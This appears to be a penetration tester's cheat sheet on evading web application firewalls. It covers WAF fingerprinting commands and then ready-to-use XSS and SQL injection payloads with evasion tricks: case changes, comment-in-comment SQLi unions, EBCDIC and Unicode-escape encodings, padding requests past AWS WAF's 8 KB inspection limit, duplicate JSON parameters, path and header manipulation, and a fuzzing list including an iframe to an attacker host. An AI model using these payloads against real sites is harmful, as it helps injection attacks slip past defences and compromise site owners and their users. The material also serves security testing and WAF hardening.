WAF Bypass

Fingerprinting the WAF

Tools: nmap, wafw00f, whatwaf

Look in the server response headers for clues, look at cookies.

Nmap

nmap --script=http-waf-fingerprint,http-waf-detect -p443 example.com

AWS WAF example

HTTP/2 403 Forbidden
Server: awselb/2.0
[...]

Identify what is blocked

Isolate what is blocked within our specific payload and target that specific part. Considering this basic XSS payload:

<img src=x onerror=prompt()>

Send different parts or variations of the payload to identify which part is blocked:

  • Specific characters, like “<“, “>”
  • A specific keyword, like “onerror”
  • A combination of keywords, like “img” + “onerror”
  • A specific path

Obfuscation

Try obfuscating the payload. Try bypassing the regex filtering done by both the WAF and web server. Easier when the regex is accessible.

  • Use an alternative syntax
  • Use line breaks or tabs

Case manipulation

When some keywords are blocked, change the case.

Example – Keyword “script” is blocked

<script>alert(XSS)</script>
<sCrIpT>alert(XSS)</sCriPt>

Example – Keyword “onerror” is blocked

<img src=x onerror=prompt()>
<img src=x oNError=prompt()>

Substitute functions or characters

Try replacing characters like whitespaces, adding comments, etc.

Substitute functions

Try replacing a blocked function by another function.

<img src=x onerror=prompt()>
<img src=x onmouseover=prompt()>

Cloudflare – Bypass by replacing the space ” ” character

Use a comment within a comment. See blog post above.

/*/**/*/

Example with SQLi

'/*!Union/*Whatever*/*/ select 1,2,3,table_name,5,6 from information_schema.tables ...

Use various encodings

Try other encodings, double-encoding, etc.

Use CyberChef with “Encode text” then “URL Encode” recipe. Chose encoding like “IBM EBCDIC US-Canada (37)” and add the appropriate Content-Type header.

POST ...
Content-Type: application/json;charset=ibm037

%C3%80%7F%C2%97%C2%81%C2%99%C2%81%C2%94%7Fz%7F%C2%A5%C2%81%C2%93%C2%A4%C2%85%7F%C3%90

AWS WAF – Bypass with encoding

AWS WAF, in its current implementation, does not decode escape sequences inside JSON keys when matching a given JSON Pointer of a rule. This behavior can be exploited to bypass rules that specifically target the value of a parameter, such as the “id” parameter. By replacing any character of the key with a Unicode escape sequence, an attacker can effectively evade the rule and potentially pass malicious content undetected.

POST /some-vulnerable-api HTTP/2
Host: ...

{"\u0070aram1":"some payload"}

Fuzzing

<<script>alert(XSS)</script> #prepending an additional "<"
<script>alert(XSS) // #removing the closing tag
<script>alert`XSS`</script> #using backticks instead of parenetheses
java%0ascript:alert(1) #using encoded newline characters
<iframe src=http://malicous.com < #double open angle brackets
<STYLE>.classname{background-image:url("javascript:alert(XSS)");}</STYLE> #uncommon tags
<img/src=1/onerror=alert(0)> #bypass space filter by using / where a space is expected
<a aa aaa aaaa aaaaa aaaaaa aaaaaaa aaaaaaaa aaaaaaaaaa href=javascript:alert(1)>xss</a> #extra characters

Configurations

Try to bypass weaknesses in how the WAF is configured.

Content Size

In some cloud-based WAFs, the request will not be checked if the payload exceeds a certain size. In these scenarios, it is possible to bypass the firewall by increasing the size of the request body or URL.

Insert 8KB of “a” characters before the payload

Try various sizes, could be 16KB.

<img src=x onerror=prompt()>
aaaaaaaaaa...aaaa<img src=x onerror=prompt()>

JSON examples

POST /some-vulnerable-api HTTP/2
Host: ...
                                                                                                                                                     {<Insert 8192 space characters here>"param1":"payload"}
POST /some-vulnerable-api HTTP/2
Host: ...
                                                                                                                                                     {"dummy":"<Insert 8192 characters here>", param1":"payload"}

AWS WAF – Bypass for SQLi

Also works for XSS payloads

For JSON body inspection, only the first 8 KB (8,192 bytes) of the request body are forwarded to AWS WAF for inspection. Add 8 KB of spaces before the payload in the body.

For Application Load Balancer and AWS AppSync, AWS WAF can inspect the first 8 KB of the body of a request. For CloudFront, API Gateway, Amazon Cognito, App Runner, and Verified Access, by default, AWS WAF can inspect the first 16 KB, and you can increase the limit up to 64 KB in your web ACL configuration.

Most site have JSON protection so this would not work.

POST /some-vulnerable-api HTTP/2
Host: ...
                                                                                                                                                     {<Insert 8192 space characters here>"param1":"SQLi payload"}

Generate a string of 1024 characters. Set a global variable “waf_bypass” with HackVertor in Burp Suite:

msf-pattern_create -l 1024

If there is some JSON protection, add another JSON attribute and add the characters in there…

POST /some-vulnerable-api HTTP/2
Host: ...

{"whatever":"<@get_waf_bypass/><@get_waf_bypass/><@get_waf_bypass/><@get_waf_bypass/><@get_waf_bypass/><@get_waf_bypass/><@get_waf_bypass/><@get_waf_bypass/>","param1":"SQLi payload"}

URL Path

If a specific path is blocked, try accessing the resource with another path.

/path/somepath/   # Blocked by the WAF
/path/./somepath/ # NOT blocked by the WAF

Bypass with duplicate parameter

Try duplicating the parameter.

AWS WAF – Bypass with duplicate parameter

This depends on the rule used for invalid JSON handler. The default option is “None”, which means taking no action and proceed with the request.

POST /some-vulnerable-api HTTP/2
Host: ...

{"param1":"whatever", "param1":"some payload"}

Add headers

Append a fake HTTP header ‘X-Forwarded-For’ (and alike).

Varnish WAF – Bypass

Append HTTP header ‘X-originating-IP’.

Inconsistencies

Try to bypass the WAF using inconsistencies in how different technologies process data.

Application-specific behavior

Start by observing how characters are processes by the application.

testing of input<>!@#$%^&'*":
testing of input<>!@#$%^&'*:

The application processes the payload and changes it. For example the application removes the double-quotes from the payload. In this case, add double-quotes within each keyword to bypass blocked keywords.

<img src=x onerror=prompt()>
<im"g sr"c=x onerro"r=promp"t()>

Other ideas

Inspect tamper scripts from SQLmap

Inspect scripts and try these ideas.

sqlmap --list-tampers